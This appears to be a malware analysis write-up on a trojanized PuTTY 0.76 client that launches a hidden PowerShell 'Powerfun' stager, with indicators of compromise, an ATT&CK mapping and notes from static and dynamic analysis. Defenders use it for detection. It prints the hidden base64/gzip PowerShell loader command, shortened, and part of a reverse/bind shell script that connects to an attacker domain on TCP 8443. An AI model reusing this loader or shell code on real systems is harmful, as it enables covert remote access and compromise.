Win32 · PuttyPowerfun
A trojanized copy of the legitimate PuTTY SSH client. It looks and runs like real PuTTY, but at launch it also spawns a hidden PowerShell that decodes a base64/gzip-compressed "Powerfun" script, opening an SSL reverse/bind shell to an attacker host on TCP 8443.
Identification
Capabilities
- Trojanized legitimate software (PuTTY 0.76) used as a lure
- Spawns a hidden PowerShell child process at launch
- Decodes and runs a base64 + gzip-compressed PowerShell payload ("Powerfun")
- Establishes an SSL/TLS reverse (or bind) shell on TCP 8443
- Not packed — all imports/strings are present
Indicators of Compromise
Network indicators
| Type | Value | Note |
|---|---|---|
| domain | bonus2.corporatebonusapplication.local | C2 resolved via DNS A record at detonation |
| port | TCP 8443 (SSL/TLS) | Reverse/bind shell callback (CLIENT HELLO to the C2) |
Host indicators
| Type | Value | Note |
|---|---|---|
| process | powershell.exe (child of putty.exe) | Hidden PowerShell spawned at detonation |
| command | powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sI...'))), [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))" | Base64 + gzip PowerShell loader (Powerfun) |
MITRE ATT&CK
| Technique | ID | Note |
|---|---|---|
| Command and Scripting Interpreter: PowerShell | T1059.001 | Runs a hidden, encoded PowerShell payload. |
| Obfuscated Files or Information | T1027 | Payload is base64-encoded and gzip-compressed. |
| Deobfuscate/Decode Files or Information | T1140 | Decodes and decompresses the payload at runtime. |
| Masquerading | T1036 | Ships as a genuine-looking PuTTY client. |
| Non-Standard Port | T1571 | SSL shell over TCP 8443. |
Execution flow
1. The user runs what appears to be PuTTY; a PowerShell window flashes for a moment, then PuTTY launches normally (with or without internet). 2. putty.exe spawns a hidden child powershell.exe. 3. PowerShell decodes a base64 + gzip blob into the Powerfun script. 4. The script resolves bonus2.corporatebonusapplication.local and opens an SSL/TLS shell on TCP 8443 (a CLIENT HELLO to the C2 is visible in Wireshark).
Static analysis
File metadata looks like genuine PuTTY: Copyright © 1997-2021 Simon Tatham, Product "PuTTY suite", Release 0.76, created 2021-07-10. But VirusTotal flags it 63/73.
Among the legitimate PuTTY strings sits a malicious one: a powershell.exe -nop -w hidden -noni -ep bypass command that base64-decodes and gzip-decompresses a script and executes it via [scriptblock]::create. kernel32!CreateThread is used to launch it.
Not packed: all imports and strings resolve normally; a packed binary would show an almost-empty IAT and a raw-data size of 0, which is not the case here.
Dynamic analysis
- Network: at detonation a DNS A-record query is made for
bonus2.corporatebonusapplication.local, followed by a callback on TCP 8443. The callback protocol is SSL/TLS — identifiable in Wireshark by the CLIENT HELLO to the domain.
- Host: a momentary blue window is a
powershell.exeprocess spawned as
a child of putty.exe (pivot on "process name contains powershell" or examine putty.exe's children in Procmon). Its arguments show it executing a base64-encoded, compressed string.
Decoding the base64/gzip blob yields the Powerfun script ("Powerfun – Written by Ben Turner & Dave Hardy"), which supports bind and reverse modes and connects using a TcpClient on port 8443.
Advanced analysis
The embedded PowerShell (decoded) is a Powerfun stager:
# Powerfun - Written by Ben Turner & Dave Hardy
function powerfun {
Param([String]$Command,[String]$Sslcon,[String]$Download)
if ($Command -eq "bind") {
$listener = [System.Net.Sockets.TcpListener]8443
$listener.start(); $client = $listener.AcceptTcpClient()
}
if ($Command -eq "reverse") {
$client = New-Object System.Net.Sockets.TCPClient("bon...", 8443)
}
...
}
Screenshots




